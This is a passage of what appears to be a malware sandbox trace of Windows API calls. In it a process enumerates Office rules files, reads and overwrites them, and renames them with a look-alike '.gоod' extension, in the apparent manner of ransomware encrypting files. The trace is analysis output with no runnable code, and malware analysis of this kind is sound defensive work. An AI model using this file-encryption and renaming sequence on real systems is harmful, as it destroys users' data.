FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a53e30, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x19a53e30, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x19a53e30, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2dc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe_Rules.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a526ab, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x80a526ab, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x80a526ab, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup32.exe_Rules.xml", cAlternateFileName="SETUP3~1.XML")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95817b70, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x95817b70, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x95818eea, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup64.exe_Rules.xml", cAlternateFileName="SETUP6~1.XML")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ce24c, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc10ce24c, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc10ce24c, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x3bbff, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe_Rules.xml", cAlternateFileName="VISIOE~1.XML")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c194002, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7c194002, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x7c194002, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebServiceCache", cAlternateFileName="WEBSER~1")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a20d0e, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x282ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe_Rules.xml", cAlternateFileName="WINPRO~1.XML")) returned 1 [0255.595] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x464d669, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x464d669, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x464d669, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3694b, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 1 [0255.596] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x464d669, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x464d669, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x464d669, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3694b, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 0 [0255.596] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0255.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0255.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0255.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0255.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c06b98 | out: lpFileInformation=0x3c06b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbff407, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7cbff407, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x7cbff407, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453f)) returned 1 [0255.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0255.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0255.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.597] GetFileType (hFile=0x8a4) returned 0x1 [0255.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0255.597] GetFileType (hFile=0x8a4) returned 0x1 [0255.597] SetFilePointer (in: hFile=0x8a4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0255.597] ReadFile (in: hFile=0x8a4, lpBuffer=0x3c06fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3c06fc0*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0255.598] CloseHandle (hObject=0x8a4) returned 1 [0255.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0255.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.599] GetFileType (hFile=0x8a4) returned 0x1 [0255.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0255.599] GetFileType (hFile=0x8a4) returned 0x1 [0255.599] SetFilePointer (in: hFile=0x8a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x3453f [0255.599] WriteFile (in: hFile=0x8a4, lpBuffer=0x3c09bf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3c09bf8*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0255.747] CloseHandle (hObject=0x8a4) returned 1 [0255.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0255.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.749] GetFileType (hFile=0x8a4) returned 0x1 [0255.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0255.749] GetFileType (hFile=0x8a4) returned 0x1 [0255.749] ReadFile (in: hFile=0x8a4, lpBuffer=0x3b1dbb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3b1dbb8*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0255.880] CloseHandle (hObject=0x8a4) returned 1 [0255.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0255.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.942] GetFileType (hFile=0x834) returned 0x1 [0255.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0255.942] GetFileType (hFile=0x834) returned 0x1 [0255.942] WriteFile (in: hFile=0x834, lpBuffer=0x3acbb58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3acbb58*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0255.942] CloseHandle (hObject=0x834) returned 1 [0255.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0255.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4c [0255.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0255.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbff407, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7cbff407, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x94c38b02, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3454f)) returned 1 [0255.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0255.942] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml.gоod")) returned 1 [0255.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0255.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0255.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c29cf0 | out: lpFileInformation=0x3c29cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32354d68, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32354d68, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32354d68, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x21b0d)) returned 1 [0255.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0255.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0255.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0255.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.944] GetFileType (hFile=0x834) returned 0x1 [0255.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0255.944] GetFileType (hFile=0x834) returned 0x1 [0255.944] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0255.944] ReadFile (in: hFile=0x834, lpBuffer=0x3c2a138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3c2a138*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0256.015] CloseHandle (hObject=0x834) returned 1 [0256.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0256.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0256.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0256.747] GetFileType (hFile=0x834) returned 0x1 [0256.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0256.747] GetFileType (hFile=0x834) returned 0x1 [0256.747] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x21b0d [0256.747] WriteFile (in: hFile=0x834, lpBuffer=0x3ee9888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3ee9888*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0256.800] CloseHandle (hObject=0x834) returned 1 [0256.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0256.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0256.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0256.800] GetFileType (hFile=0x834) returned 0x1 [0256.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0256.800] GetFileType (hFile=0x834) returned 0x1 [0256.800] ReadFile (in: hFile=0x834, lpBuffer=0x3f6f660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3f6f660*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0258.734] CloseHandle (hObject=0x834) returned 1 [0258.734] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0258.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0258.734] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.734] GetFileType (hFile=0x834) returned 0x1 [0258.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0258.734] GetFileType (hFile=0x834) returned 0x1 [0258.735] WriteFile (in: hFile=0x834, lpBuffer=0x34f5cd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x34f5cd0*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0258.735] CloseHandle (hObject=0x834) returned 1 [0258.735] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0258.735] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4f [0258.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0258.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32354d68, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32354d68, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x966e5065, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21b1d)) returned 1 [0258.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0258.735] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml.gоod")) returned 1 [0258.736] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0258.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0258.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x38f3250 | out: lpFileInformation=0x38f3250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa676ba0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa676ba0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xa6791c64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x429)) returned 1 [0258.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0259.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0259.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0259.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.158] GetFileType (hFile=0x86c) returned 0x1 [0259.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0259.158] GetFileType (hFile=0x86c) returned 0x1 [0259.158] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x429 [0259.158] ReadFile (in: hFile=0x86c, lpBuffer=0x38d9d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38d9d80*, lpNumberOfBytesRead=0x207ec5c8*=0x429, lpOverlapped=0x0) returned 1 [0259.159] CloseHandle (hObject=0x86c) returned 1 [0263.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0263.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0263.283] GetFileType (hFile=0x86c) returned 0x1 [0263.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 